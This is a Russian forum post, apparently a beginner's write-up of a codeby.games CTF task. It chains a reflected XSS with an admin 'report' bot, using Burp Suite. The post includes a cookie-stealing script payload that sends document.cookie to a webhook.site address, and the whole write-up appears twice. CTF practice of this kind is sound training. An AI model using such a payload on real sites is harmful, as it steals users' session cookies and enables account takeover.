D2
Администратор
- Регистрация
- 19 Фев 2025
- Сообщения
- 4,380
- Реакции
- 0
Решаем CTF codeby / обучаюсь хакерству день 1.
Здравствуйте, я очень люблю учиться ИБ, особенно я люблю практику. Так что сегодня будем учиться решать таски на практике. На сайте codeby.games есть множество заданий. Многие легкие задания я уже выполнил, а также они не такие интересные, так что сразу начнем со средних.
Сразу скажу, что я только учусь пентесту, если у вас есть какая-то критика или материал для изучения, мне будет приятно выслушать её в комментариях, чтобы стать лучше!!!
Задание - Клиент всегда прав.
Описание - Какой-то админ ворует наши публикации и выставляет их на свой сайт. Ты ведь не будешь сидеть сложа руки?
И сам сайт где нужно найти флаг - 62.173.140.174:16013
Сам сайт выглядит так -
В каждой статье нас встречает картинка и текст
Так первым делом по приколу я закинул сайт в сканер burpsuirte pro
И, к моему удивлению, он кое-что да нашел.
Но это обычный XSS, и в обычном виде он нам ничего не дает. Ищем дальше.После 30 минут ползанья по сайту я наконец увидел иконку репорта на статью на сайте.
Давайте изучим это через proxy в Burp.Включаем перехват запроса.
нажимаем на кнопку и видим GET запрос на сервер
Так это уже интересно. Тут запрос с шаблоном {/?report={адрес публикации}}.
Отправляем запрос в репитер и пробуем шаманить.
Для начала давайте попытаемся зарепортить localhost.
Отправляем запрос и получаем…
Хм, значит, не туда копаем.
Я начал обдумывать всё, что нам дано, и тут у меня появилась догадка. При отправке запроса на поиск статьи он отправляется как GET-запрос.
а теперь давайте попробуем его зарепортить, и получаем
Так, значит, на запросы детекст не распространяется. Дальше я вспомнил, что как раз в запросах у нас есть XSS-уязвимость, теперь надо подумать, как её проэксплуатировать. Первое, что пришло в голову, это получить cookie от сервера. Но как это сделать, если через репорт алерт работать не будет? Здесь нужно принять cookie на сервер. Я не знал, как это сделать, и я просто загуглил. К сожалению, я ничего не нашёл, кроме решения этого же таска от пользователя codeby D3L1F3R — он отправляет cookie на вебхук, что намного легче, чем делать отправку на свой сервер.
Для того чтобы отправить cookie на вебхук, надо сначала вебхук создать. Для этого есть сайт — https://webhook.site, в поле Your unique URL будет ваш вебхук-адрес. Далее нужно просто вставить его в команду: <script>document.location='Ваш_Вебхук_Адрес/c='+encodeURIComponent(document.cookie);</script> Далее я закодировал payload в URL через тот же бурп и вставил в репитер:
После отправки запроса мы видим что запрос отправился на сервер успешно, далее проверяем сайт https://webhook.site и видим новый гет запрос -
В URL которого и будет наш флаг.
По факту сам я дошел до половины, но осилить XSS с отправкой на вебхук или сервер я не смог, но теперь я знаю новый метод эксплуатации XSS.
Это был один из самых легких средних заданий на сайте), так что в дальнейшем будут более трудные задания. Спасибо всем за просмотр. Это моя первая статья, так что, пожалуйста, не судите строго, всем удачи!
Здравствуйте, я очень люблю учиться ИБ, особенно я люблю практику. Так что сегодня будем учиться решать таски на практике. На сайте codeby.games есть множество заданий. Многие легкие задания я уже выполнил, а также они не такие интересные, так что сразу начнем со средних.
Сразу скажу, что я только учусь пентесту, если у вас есть какая-то критика или материал для изучения, мне будет приятно выслушать её в комментариях, чтобы стать лучше!!!
Задание - Клиент всегда прав.
Описание - Какой-то админ ворует наши публикации и выставляет их на свой сайт. Ты ведь не будешь сидеть сложа руки?
И сам сайт где нужно найти флаг - 62.173.140.174:16013
Сам сайт выглядит так -
В каждой статье нас встречает картинка и текст
Так первым делом по приколу я закинул сайт в сканер burpsuirte pro
И, к моему удивлению, он кое-что да нашел.
Но это обычный XSS, и в обычном виде он нам ничего не дает. Ищем дальше.После 30 минут ползанья по сайту я наконец увидел иконку репорта на статью на сайте.
Давайте изучим это через proxy в Burp.Включаем перехват запроса.
нажимаем на кнопку и видим GET запрос на сервер
Так это уже интересно. Тут запрос с шаблоном {/?report={адрес публикации}}.
Отправляем запрос в репитер и пробуем шаманить.
Для начала давайте попытаемся зарепортить localhost.
Отправляем запрос и получаем…
Хм, значит, не туда копаем.
Я начал обдумывать всё, что нам дано, и тут у меня появилась догадка. При отправке запроса на поиск статьи он отправляется как GET-запрос.
а теперь давайте попробуем его зарепортить, и получаем
Так, значит, на запросы детекст не распространяется. Дальше я вспомнил, что как раз в запросах у нас есть XSS-уязвимость, теперь надо подумать, как её проэксплуатировать. Первое, что пришло в голову, это получить cookie от сервера. Но как это сделать, если через репорт алерт работать не будет? Здесь нужно принять cookie на сервер. Я не знал, как это сделать, и я просто загуглил. К сожалению, я ничего не нашёл, кроме решения этого же таска от пользователя codeby D3L1F3R — он отправляет cookie на вебхук, что намного легче, чем делать отправку на свой сервер.
Для того чтобы отправить cookie на вебхук, надо сначала вебхук создать. Для этого есть сайт — https://webhook.site, в поле Your unique URL будет ваш вебхук-адрес. Далее нужно просто вставить его в команду: <script>document.location='Ваш_Вебхук_Адрес/c='+encodeURIComponent(document.cookie);</script> Далее я закодировал payload в URL через тот же бурп и вставил в репитер:
После отправки запроса мы видим что запрос отправился на сервер успешно, далее проверяем сайт https://webhook.site и видим новый гет запрос -
В URL которого и будет наш флаг.
По факту сам я дошел до половины, но осилить XSS с отправкой на вебхук или сервер я не смог, но теперь я знаю новый метод эксплуатации XSS.
Это был один из самых легких средних заданий на сайте), так что в дальнейшем будут более трудные задания. Спасибо всем за просмотр. Это моя первая статья, так что, пожалуйста, не судите строго, всем удачи!